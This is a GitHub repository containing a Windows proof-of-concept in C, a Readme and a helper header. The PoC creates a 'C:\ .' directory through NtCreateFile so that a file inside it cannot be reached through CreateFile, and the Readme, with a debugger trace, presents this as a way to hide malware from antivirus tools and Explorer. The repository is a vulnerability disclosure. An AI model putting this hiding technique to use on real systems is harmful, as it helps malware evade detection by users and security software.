├── PoC.c ├── Readme.md ├── miniddk.h └── screenshots └── screenshot1.png /PoC.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include "miniddk.h" 3 | #include 4 | 5 | typedef NTSTATUS (__stdcall *NtCreateFilePtr)( 6 | PHANDLE FileHandle, 7 | ACCESS_MASK DesiredAccess, 8 | OBJECT_ATTRIBUTES *ObjectAttributes, 9 | PIO_STATUS_BLOCK IoStatusBlock, 10 | PLARGE_INTEGER AllocationSize, 11 | ULONG FileAttributes, 12 | ULONG ShareAccess, 13 | ULONG CreateDisposition, 14 | ULONG CreateOptions, 15 | PVOID EaBuffer, 16 | ULONG EaLength ); 17 | 18 | typedef VOID (__stdcall *RtlInitUnicodeStringPtr) ( 19 | IN OUT PUNICODE_STRING DestinationString, 20 | IN PCWSTR SourceString ); 21 | 22 | int main(int argc, char *argv[]) 23 | { 24 | UNICODE_STRING fn; 25 | OBJECT_ATTRIBUTES object; 26 | IO_STATUS_BLOCK ioStatus; 27 | NtCreateFilePtr pNtCreateFile; 28 | RtlInitUnicodeStringPtr pRtlInitUnicodeString; 29 | HANDLE out; 30 | NTSTATUS status; 31 | HMODULE hMod; 32 | 33 | hMod = LoadLibraryA("ntdll.dll"); 34 | if (!hMod) { 35 | printf("SKIP: Could not load ntdll.dll\n"); 36 | exit(0); 37 | } 38 | pNtCreateFile = (NtCreateFilePtr) GetProcAddress(hMod, "NtCreateFile"); 39 | if (!pNtCreateFile) { 40 | printf("FAIL: Could not locate NtCreateFile\n"); 41 | exit(1); 42 | } 43 | pRtlInitUnicodeString = (RtlInitUnicodeStringPtr) GetProcAddress(hMod, 44 | "RtlInitUnicodeString"); 45 | 46 | memset(&ioStatus, 0, sizeof(ioStatus)); 47 | memset(&object, 0, sizeof(object)); 48 | object.Length = sizeof(object); 49 | object.Attributes = OBJ_CASE_INSENSITIVE; 50 | pRtlInitUnicodeString(&fn, L"\\??\\C:\\ ."); 51 | object.ObjectName = &fn; 52 | status = pNtCreateFile(&out, GENERIC_WRITE, &object, &ioStatus, NULL, 53 | FILE_ATTRIBUTE_NORMAL, 0, FILE_CREATE, FILE_DIRECTORY_FILE, NULL, 54 | 0); 55 | if (!NT_SUCCESS(status)) { 56 | printf("FAIL: Could not create directory 'C:\\ .'.\n"); 57 | exit(1); 58 | } 59 | printf("PASS: Successfully created 'C:\\ .' directory!\n"); 60 | 61 | pRtlInitUnicodeString(&fn, L"\\??\\C:\\ .\\my_hidden_malware.exe"); 62 | status = pNtCreateFile(&out, GENERIC_WRITE, &object, &ioStatus, NULL, 63 | FILE_ATTRIBUTE_NORMAL, 0, FILE_CREATE, FILE_NON_DIRECTORY_FILE, NULL, 64 | 0); 65 | if (!NT_SUCCESS(status)) { 66 | printf("FAIL: Could not create file 'C:\\ .\\my_hidden_malware.exe'.\n"); 67 | exit(1); 68 | } 69 | printf("PASS: Successfully created 'C:\\ .\\my_hidden_malware.exe' file!\n"); 70 | 71 | 72 | status = pNtCreateFile(&out, FILE_READ_ATTRIBUTES | FILE_READ_EA | READ_CONTROL, &object, &ioStatus, NULL, 73 | FILE_ATTRIBUTE_NORMAL, 0, FILE_OPEN, FILE_NON_DIRECTORY_FILE, NULL, 74 | 0); 75 | if (!NT_SUCCESS(status)) { 76 | printf("FAIL: 'C:\\ .\\my_hidden_malware.exe' file could not be accessed.\n"); 77 | exit(1); 78 | } 79 | printf("PASS: 'C:\\ .\\my_hidden_malware.exe' file can be accessed via NtCreateFile!\n"); 80 | 81 | HANDLE hFile = CreateFileW(L"C:\\ .\\my_hidden_malware.exe", // open testfile.txt 82 | GENERIC_READ, // open for reading 83 | 0, // do not share 84 | NULL, // default security 85 | OPEN_EXISTING, // existing file only 86 | FILE_ATTRIBUTE_NORMAL, // normal file 87 | NULL); 88 | if(hFile==-1){ 89 | printf("VULN: Unable to read 'C:\\ .\\my_hidden_malware.exe' file via CreateFileW.\n"); 90 | } 91 | hFile = CreateFileA("C:\\ .\\my_hidden_malware.exe", // open testfile.txt 92 | GENERIC_READ, // open for reading 93 | 0, // do not share 94 | NULL, // default security 95 | OPEN_EXISTING, // existing file only 96 | FILE_ATTRIBUTE_NORMAL, // normal file 97 | NULL); 98 | if(hFile==-1){ 99 | printf("VULN: Unable to read 'C:\\ .\\my_hidden_malware.exe' file via CreateFileA.\n"); 100 | } 101 | return 0; 102 | } 103 | -------------------------------------------------------------------------------- /Readme.md: -------------------------------------------------------------------------------- 1 | # Bug explaination 2 | 3 | **NtCreateFile** can create and access directories with names like " ." whereas **CreateFile** cannot. In such cases, **CreateFile** modifies the name to " " refers to an entirely different directory. 4 | This behavior is caused by KERNELBASE!_imp__RtlDosPathNameToRelativeNtPathName_U_WithStatus which, as described in the ["Types of DOS Path"](https://googleprojectzero.blogspot.com/2016/02/) section, "Remove any trailing spaces or dots for the last path element, assuming that it isn’t a single or double dot name". 5 | The screenshot below demonstrates this behavior when accessing " ." using **explorer.exe**. 6 | 7 | ![alt text](screenshots/screenshot1.png "Accessing to ' .' from explorer.exe") 8 | 9 | 10 | # Implications 11 | 12 | 1. Malware can be hidden from antivirus agents that use **CreateFile** to access files and directories. 13 | 2. Additionally, malware can remain hidden from users who rely on programs like **explorer.exe** and **cmd.exe**, as these ultimately depend on **CreateFile**. 14 | 15 | 16 | # Disclosure 17 | 18 | Microsoft will not fix this issue because of the following reason: 19 | "This is a known portion of the file structure and is detailed online. Beyond that, an attacker would already need to have compromised a machine to make use of this". 20 | 21 | Even though this behavior is well-documented online, it resembles rootkit techniques and can be exploited without installing anything—for example, simply plugging in a pendrive with a malicious file structure exploiting this vulnerability. 22 | **I decided to publish the code.** 23 | 24 | **UPDATE:** I asked to Microsoft for the online documentation and they, kindly, reply to me with [this link](https://docs.microsoft.com/en-us/windows/win32/fileio/naming-a-file?redirectedfrom=MSDN) and referring to this phrase: "Do not end a file or directory name with a space or a period. Although the underlying file system may support such names, the Windows shell and user interface does not." 25 | 26 | 27 | # PoC 28 | 29 | [PoC file](./PoC.c) 30 | [Mini DDK dependency](./miniddk.h) 31 | 32 | **Note***: If you are testing the PoC and wants to remove the resulting "C:\ .\" directory, a simple way to do it is by using the GIT console: 33 | 34 | # Debugging session 35 | 36 | #### 1. Kernel32!CreateFileW calls to KERNELBASE!CreateFileInternal 37 | 771de463 8364240c00 and dword ptr [esp+0Ch],0 38 | 771de468 8b4514 mov eax,dword ptr [ebp+14h] 39 | 771de46b 8b550c mov edx,dword ptr [ebp+0Ch] 40 | 771de46e 8b4d08 mov ecx,dword ptr [ebp+8] ; u"C:\ .\my_hidden_malware.exe" 41 | 771de471 89442410 mov dword ptr [esp+10h],eax 42 | 771de475 8b4520 mov eax,dword ptr [ebp+20h] 43 | 771de478 6a00 push 0 44 | 771de47a 89442418 mov dword ptr [esp+18h],eax 45 | 771de47e 8d442404 lea eax,[esp+4] 46 | 771de482 50 push eax 47 | 771de483 ff7518 push dword ptr [ebp+18h] 48 | 771de486 ff7510 push dword ptr [ebp+10h] 49 | 771de489 e812000000 call KERNELBASE!CreateFileInternal (771de4a0) 50 | 51 | 52 | #### 2. Debugging session in KERNELBASE!CreateFileInternal 53 | KERNELBASE!CreateFileInternal: 54 | 771de4a0 8bff mov edi,edi 55 | 771de4a2 55 push ebp 56 | 771de4a3 8bec mov ebp,esp 57 | 771de4a5 83e4f8 and esp,0FFFFFFF8h 58 | 771de4a8 81ec84000000 sub esp,84h 59 | 771de4ae a1307b2a77 mov eax,dword ptr [KERNELBASE!__security_cookie (772a7b30)] 60 | 771de4b3 33c4 xor eax,esp 61 | 771de4b5 89842480000000 mov dword ptr [esp+80h],eax 62 | 771de4bc 53 push ebx 63 | 771de4bd 56 push esi 64 | 771de4be 8b7510 mov esi,dword ptr [ebp+10h] 65 | 771de4c1 8bd9 mov ebx,ecx ; u"C:\ .\my_hidden_malware.exe" 66 | 67 | 68 | #### 3. RtlInitUnicodeStringEx works well putting u"C:\ .\my_hidden_malware.exe" into [esp+34] 69 | 771de4fe c744241401000000 mov dword ptr [esp+14h],1 70 | 771de506 53 push ebx ; Source 71 | 771de507 8d442434 lea eax,[esp+34h] 72 | 771de50b 50 push eax ; <----- Destination 73 | 771de50c ff1570b12a77 call dword ptr [KERNELBASE!_imp__RtlInitUnicodeStringEx 74 | 75 | 0:000:x86> du poi(esp+34) 76 | 0040422c "C:\ .\my_hidden_malware.exe" 77 | 78 | 79 | #### 4. Then, the string is passed to KERNELBASE!_imp__RtlDosPathNameToRelativeNtPathName_U_WithStatus 80 | 771de549 50 push eax 81 | 771de54a 6a00 push 0 82 | 771de54c 8d442438 lea eax,[esp+38h] 83 | 771de550 50 push eax 84 | **771de551 53 push ebx ; "C:\ .\my_hidden_malware.exe"** 85 | **771de552 ff1538b92a77 call dword ptr [KERNELBASE!_imp__RtlDosPathNameToRelativeNtPathName_U_WithStatus (772ab938)] ds:002b:772ab938={ntdll_77d00000!RtlDosPathNameToRelativeNtPathName_U_WithStatus (77d412f0)}** 86 | 87 | 88 | 89 | #### 5. And then, the vulnerability happens. 90 | **771de552 ff1538b92a77 call dword ptr [KERNELBASE!_imp__RtlDosPathNameToRelativeNtPathName_U_WithStatus (772ab938)]** 91 | 771de558 85c0 test eax,eax 92 | 771de55a 0f88f61e0300 js KERNELBASE!CreateFileInternal+0x31fb6 (77210456) 93 | **771de560 8b442434 mov eax,dword ptr [esp+34h] ; "\??\C:\ \my_hidden_malware.exe"** 94 | -------------------------------------------------------------------------------- /miniddk.h: -------------------------------------------------------------------------------- 1 | // vim:expandtab:autoindent:tabstop=4:shiftwidth=4:filetype=c: 2 | /* 3 | * Copyright (C) 2005 Dell Inc. 4 | * by Michael Brown 5 | * Licensed under the Open Software License version 2.1 6 | * 7 | * Alternatively, you can redistribute it and/or modify 8 | * it under the terms of the GNU General Public License as published 9 | * by the Free Software Foundation; either version 2 of the License, 10 | * or (at your option) any later version. 11 | 12 | * This program is distributed in the hope that it will be useful, but 13 | * WITHOUT ANY WARRANTY; without even the implied warranty of 14 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 15 | * See the GNU General Public License for more details. 16 | * 17 | * Function pointer definitions removed to make this closer to real ddk. 18 | */ 19 | 20 | 21 | #ifndef MINIDDK_H 22 | #define MINIDDK_H 23 | 24 | #include 25 | 26 | //From #include "ntdef.h" 27 | typedef LONG NTSTATUS; 28 | 29 | // 30 | // Generic test for success on any status value (non-negative numbers 31 | // indicate success). 32 | // 33 | 34 | #define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0) 35 | // 36 | // Unicode strings are counted 16-bit character strings. If they are 37 | // NULL terminated, Length does not include trailing NULL. 38 | // 39 | 40 | typedef struct _UNICODE_STRING 41 | { 42 | USHORT Length; 43 | USHORT MaximumLength; 44 | #ifdef MIDL_PASS 45 | 46 | [size_is(MaximumLength / 2), length_is((Length) / 2) ] USHORT * Buffer; 47 | #else // MIDL_PASS 48 | 49 | PWSTR Buffer; 50 | #endif // MIDL_PASS 51 | } 52 | UNICODE_STRING; 53 | typedef UNICODE_STRING *PUNICODE_STRING; 54 | typedef const UNICODE_STRING *PCUNICODE_STRING; 55 | #ifndef UNICODE_NULL 56 | #define UNICODE_NULL ((WCHAR)0) // winnt 57 | #endif 58 | 59 | // 60 | // Valid values for the Attributes field 61 | // 62 | 63 | #define OBJ_INHERIT 0x00000002L 64 | #define OBJ_PERMANENT 0x00000010L 65 | #define OBJ_EXCLUSIVE 0x00000020L 66 | #define OBJ_CASE_INSENSITIVE 0x00000040L 67 | #define OBJ_OPENIF 0x00000080L 68 | #define OBJ_OPENLINK 0x00000100L 69 | #define OBJ_KERNEL_HANDLE 0x00000200L 70 | #define OBJ_VALID_ATTRIBUTES 0x000003F2L 71 | 72 | // 73 | // Object Attributes structure 74 | // 75 | 76 | typedef struct _OBJECT_ATTRIBUTES 77 | { 78 | ULONG Length; 79 | HANDLE RootDirectory; 80 | PUNICODE_STRING ObjectName; 81 | ULONG Attributes; 82 | PVOID SecurityDescriptor; // Points to type SECURITY_DESCRIPTOR 83 | PVOID SecurityQualityOfService; // Points to type SECURITY_QUALITY_OF_SERVICE 84 | } 85 | OBJECT_ATTRIBUTES; 86 | typedef OBJECT_ATTRIBUTES *POBJECT_ATTRIBUTES; 87 | 88 | #define InitializeObjectAttributes( p, n, a, r, s ) { \ 89 | (p)->Length = sizeof( OBJECT_ATTRIBUTES ); \ 90 | (p)->RootDirectory = r; \ 91 | (p)->Attributes = a; \ 92 | (p)->ObjectName = n; \ 93 | (p)->SecurityDescriptor = s; \ 94 | (p)->SecurityQualityOfService = NULL; \ 95 | } 96 | 97 | // 98 | // Physical address. 99 | // 100 | 101 | typedef LARGE_INTEGER PHYSICAL_ADDRESS, *PPHYSICAL_ADDRESS; 102 | 103 | // 104 | // From winnt.h 105 | // 106 | // 107 | // Section Information Structures. 108 | // 109 | 110 | typedef enum _SECTION_INHERIT { 111 | ViewShare = 1, 112 | ViewUnmap = 2 113 | } SECTION_INHERIT; 114 | 115 | // 116 | // Section Access Rights. 117 | // 118 | 119 | // begin_winnt 120 | #ifndef SECTION_QUERY 121 | #define SECTION_QUERY 0x0001 122 | #define SECTION_MAP_WRITE 0x0002 123 | #define SECTION_MAP_READ 0x0004 124 | #define SECTION_MAP_EXECUTE 0x0008 125 | #define SECTION_EXTEND_SIZE 0x0010 126 | 127 | #define SECTION_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED|SECTION_QUERY|\ 128 | SECTION_MAP_WRITE | \ 129 | SECTION_MAP_READ | \ 130 | SECTION_MAP_EXECUTE | \ 131 | SECTION_EXTEND_SIZE) 132 | #endif 133 | 134 | typedef struct _IO_STRUCT 135 | { 136 | DWORD Addr; 137 | DWORD Reserved1; 138 | PVOID pBuf; 139 | DWORD NumBytes; 140 | DWORD Reserved4; 141 | DWORD Reserved5; 142 | DWORD Reserved6; 143 | DWORD Reserved7; 144 | } 145 | IO_STRUCT; 146 | 147 | #ifdef LIBSMBIOS_WIN_USE_WMI 148 | 149 | // Define the WMI SMBIOS Information Structure 150 | 151 | typedef struct _WMISMBIOSINFO { 152 | u8 majorVersion; 153 | u8 minorVersion; 154 | u32 bufferSize; 155 | u8 *buffer; 156 | } WMISMBIOSINFO; 157 | 158 | #endif 159 | 160 | #pragma pack(push,1) 161 | typedef struct MEM_STRUCT 162 | { 163 | DWORD Addr; 164 | DWORD Reserved1; 165 | void *pBuf; 166 | DWORD NumBytes; 167 | } 168 | MEM_STRUCT; 169 | #pragma pack(pop) 170 | 171 | typedef struct _STRING 172 | { 173 | USHORT Length; 174 | USHORT MaximumLength; 175 | PCHAR Buffer; 176 | } ANSI_STRING, *PANSI_STRING; 177 | 178 | typedef struct _IO_STATUS_BLOCK { 179 | union { 180 | NTSTATUS Status; 181 | PVOID Pointer; 182 | }; 183 | ULONG_PTR Information; 184 | 185 | } IO_STATUS_BLOCK, *PIO_STATUS_BLOCK; 186 | // From ntddk.h 187 | #define NtCurrentProcess() ( (HANDLE) -1 ) 188 | 189 | // For Debug Control 190 | typedef enum _DEBUG_CONTROL_CODE { 191 | DebugGetTraceInformation = 1, 192 | DebugSetInternalBreakpoint, 193 | DebugSetSpecialCall, 194 | DebugClearSpecialCalls, 195 | DebugQuerySpecialCalls, 196 | DebugDbgBreakPoint, 197 | DebugMaximum, 198 | DebugSysReadPhysicalMemory = 10, 199 | DebugSysReadIoSpace = 14, 200 | DebugSysWriteIoSpace = 15 201 | } DEBUG_CONTROL_CODE; 202 | 203 | #define FILE_OPEN 0x00000001 204 | #define FILE_CREATE 0x00000002 205 | 206 | #endif /* MINIDDK_H */ 207 | 208 | -------------------------------------------------------------------------------- /screenshots/screenshot1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dalvarezperez/CreateFile_based_rootkit/f9acc336ae1f1fb633cba45cdee4cd9e0a2a911b/screenshots/screenshot1.png --------------------------------------------------------------------------------